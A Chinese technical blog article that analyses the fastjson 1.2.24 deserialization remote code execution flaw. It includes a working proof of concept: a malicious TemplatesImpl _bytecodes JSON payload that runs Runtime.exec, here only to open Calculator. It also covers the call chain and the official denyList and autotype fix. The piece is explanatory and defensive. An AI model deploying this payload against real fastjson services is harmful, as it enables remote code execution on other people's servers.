背景
fastjson远程代码执行安全漏洞(以下简称RCE漏洞),最早是官方在2017年3月份发出的声明,
没错,强如阿里这样的公司也会有漏洞。代码是人写的,有漏洞是难免的。关键是及时的修复。
声明中,官方指出:
最近发现fastjson在1.2.24以及之前版本存在远程代码执行高危安全漏洞,为了保证系统安全,请升级到1.2.28/1.2.29/1.2.30/1.2.31或者更新版本。
你会注意到这份声明中并没有对漏洞的细节有详细的描述,原因是官方担心透漏了细节会扩散漏洞。这个是可以理解的,警方公布案件的消息一般都不会透露犯罪细节,就是防止有人模仿犯罪。
公布漏洞之后,阿里进行了升级修复,并给出了防漏洞的建议。然后针对这一版的修复方案,黑客或者安全测试人又找到绕过防御的方案。于是在很长一段时间里,阿里的大佬们不断的修复漏洞,优化升级,黑客们不断的尝试新的攻击方法。整个就是一部fastjson RCE漏洞
版的谍战剧。
由于篇幅限制,本文并不打算详细介绍Fastjson RCE漏洞
的进化史,而是只关注第一次漏洞分析。
漏洞分析
为了能重现漏洞,本文示例代码都是基于fastjson 1.2.23
版本。
如果你是maven的工程,可以直接引入下面这个依赖。
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.23</version>
</dependency>
fastjson基本使用
为了照顾有读者可能没有使用过fastjson,我们先来看看fastjson的基本用法。
首先我们定义一个实体类,
public class Student {
private String name;//姓名
private String number;//学号
private int age; //年龄
private String secret;
public String getName() {
System.out.println("getName");
return name;
}
public void setName(String name) {
System.out.println("setName");
this.name = name;
}
public String getNumber() {
System.out.println("getNumber");
return number;
}
public void setNumber(String number) {
System.out.println("setNumber");
this.number = number;
}
public int getAge() {
System.out.println("getAge");
return age;
}
public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}
public String getSecret() {
System.out.println("getSecret");
return secret;
}
public void setSecret(String secret) {
System.out.println("setSecret");
this.secret = secret;
}
}
为了便于分析问题,我在gettter和setter方法中都加了打印日志。
然后我们看使用的示例,
public static void main(String[] args) {
//序列化
Student student = new Student();
student.setName("lucas");
student.setAge(25);
student.setNumber("001");
String jsonStr1 = JSON.toJSONString(student);
String jsonStr2 = JSON.toJSONString(student, SerializerFeature.WriteClassName);
System.out.println("jsonStr1:" + jsonStr1);
System.out.println("jsonStr2" + jsonStr2);
//反序列化j
JSONObject jsonObject = JSON.parseObject(jsonStr1);
System.out.println(jsonObject.get("name"));
System.out.println(jsonObject.get("age"));
System.out.println(jsonObject.get("number"));
}
运行输出结果是,
jsonStr1:{"age":25,"name":"lucas","number":"001"}
jsonStr2{"@type":"com.app.fastjson.Student","age":25,"name":"lucas","number":"001"}
lucas
25
001
我们把上面的代码改下,使用jsonStr2
进行反序列化的,
JSONObject jsonObject = JSON.parseObject(jsonStr2);
此时输出的结果是,
...
jsonStr2{"@type":"com.app.fastjson.Student","age":25,"name":"lucas","number":"001"}
setAge
setName
setNumber
getAge
getName
getNumber
getSecret
lucas
25
001
序列化的结果一个带了类信息(使用SerializerFeature.WriteClassName
可以输出类信息),一个没有带。这两个字符串都可以进行反序列成JsonObject对象,但是你应该已经注意到了,使用前者序列化的时候,调用了类对象的getter和setter方法。
因为fastjson在处理以@type形式传入的类的时候,会默认调用该类的共有setgetis函数。
请你记住这个结论,因为它正是漏洞的关键所在。
攻击
既然反序列化的时候会执行getter和setter方法,那我们是不是可以在这些方法里加入攻击的代码,然后
fastjson返序列化的时候调用,不就达到了攻击的目的了吗。
我们先来构造一次攻击,等下再解释原理。
首先构造一段恶意代码,很简单就是在构造函数里打开本地的一个计算器应用。
public class EvilCode extends AbstractTranslet {
public EvilCode() throws IOException {
Runtime.getRuntime().exec("open /Applications/Calculator.app");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public static void main(String[] args) throws IOException {
EvilCode evilCode = new EvilCode();
}
}
运行的效果如下图所示,
我们把编译好的EvilCode.class
文件留着备用。接着我们写一段poc
证明漏洞的存在,
public class Pocf {
public static String readClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos);
} catch (IOException e) {
e.printStackTrace();
}
return Base64.encodeBase64String(bos.toByteArray());
}
public static void test_autoTypeDeny() throws Exception {
ParserConfig config = new ParserConfig();
final String fileSeparator = System.getProperty("file.separator");
//根据自己的实际路径修改
final String evilClassPath = System.getProperty("user.dir") + "//target//classes//com//app//fastjson//EvilCode.class";
String evilCode = readClass(evilClassPath);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," +
"\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
System.out.println(text1);
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
//assertEquals(Model.class, obj.getClass());
}
public static void main(String args[]){
try {
test_autoTypeDeny();
} catch (Exception e) {
e.printStackTrace();
}
}
}
运行这段代码,你会发现计算器的引用也会弹出来。这就相当于在反序列的时候执行了我们的恶意代码。
攻击原理分析
我们来分析下上面那段poc
代码,首先是读入我们的EvilCode
class文件,这里有一个小细节就是读入的class文件内容会被base64编码。为什么要这么处理呢?
答案其实也很简单,因为FastJson提取byte[]
数组字段值时会进行Base64解码,这个大家看下源码就知道了,不是本文的重点这里不展开了。
接下来就是执行反序列了,我们的EvilCode
的class文件是赋值给了TemplatesImpl
的_bytecodes属性,_bytecodes却是私有属性,_name也是私有域,所以在parseObject的时候需要设置Feature.SupportNonPublicField,这样_bytecodes字段才会被反序列化。
前面提到过,反序列化的时候会调用成员变量的getter和setter方法,这其中就包括_outputProperties
的getter方法,
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
...
private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new Hashtable();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
...
不知道你看明白了没有。
在getTransletInstance调用defineTransletClasses,在defineTransletClasses方法中会根据_bytecodes来生成一个java类,生成的java类随后会被getTransletInstance方法用到生成一个实例,也也就到了最终的执行命令的位置Runtime.getRuntime.exec()
总结起来,调用的链路是这样:
解决方案
好了,到这里你已经知道了关于漏洞的细节。那么官方是如何解决这个漏洞的呢?
Fastjson官方在1.2.24版本后默认关闭autotype功能,并且启用黑名单功能。请用户确保该功能关闭。我们简单了解下解决方案的细节。
解决方案的关键是新增了一个checkAutoType
方法,早期版本的方法实现如下,
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (this.autoTypeSupport || expectClass != null) {
for(mask = 0; mask < this.acceptList.length; ++mask) {
accept = this.acceptList[mask];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
}
for(mask = 0; mask < this.denyList.length; ++mask) {
accept = this.denyList[mask];
if (className.startsWith(accept) && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
...
这个denyList
你可以理解成黑名单,也就是这个名单里的类都不允许反序列化。如果上面我们用来攻击的TemplatesImpl
被加入到这个黑名单自然就不能被恶意代码攻击了。早期的黑名单如下:
this.denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.apache.xalan,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");
后面可以不断的更新这个黑名单来抵御攻击(当然只是抵御针对黑名的攻击,其它攻击手段无法通过更新黑名单解决)。
其实机智如你应该能想到这里好像有个坑,就是黑名单公布出来,本来大家想不到的一些payload就可以被拿来攻击低版本的fastjson了。阿里应该是也意识到这个问题了,新版本的源码黑名单都是以hashCode
的方式存放在源码里,如下所示,
private List<Module> modules = new ArrayList<Module>();
{
denyHashCodes = new long[]{
0x80D0C70BCC2FEA02L,
0x86FC2BF9BEAF7AEFL,
0x87F52A1B07EA33A6L,
0x8EADD40CB2A94443L,
0x8F75F9FA0DF03F80L,
0x9172A53F157930AFL,
0x92122D710E364FB8L,
0x92122D710E364FB8L,
0x94305C26580F73C5L,
0x9437792831DF7D3FL,
0xA123A62F93178B20L,
0xA85882CE1044C450L,
0xAA3DAFFDB10C4937L,
0xAFFF4C95B99A334DL,
0xB40F341C746EC94FL,
0xB7E8ED757F5D13A2L,
0xBCDD9DC12766F0CEL,
0xC00BE1DEBAF2808BL,
0xC2664D0958ECFE4CL,
0xC7599EBFE3E72406L,
0xC963695082FD728EL,
0xD1EFCDF4B3316D34L,
0xD9C9DBF6BBD27BB1L,
....
后来黑客界,安全界的大佬们还想出其它各种攻击手段,也不断的促进者fastjson原来越好,这里不表。
不过如果你使用场景中包括了这个功能,请参考:
这里如何添加白名单或者打开autotype功能。
总结
fastjson在1.2.24以及之前版本存在远程代码执行高危安全漏洞。
开发中应严格控制AutoType开关,保持fastjson为最新版本。保持最新的版本这个通常要注意生产上使用稳定版本而不是beta版。
参考
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
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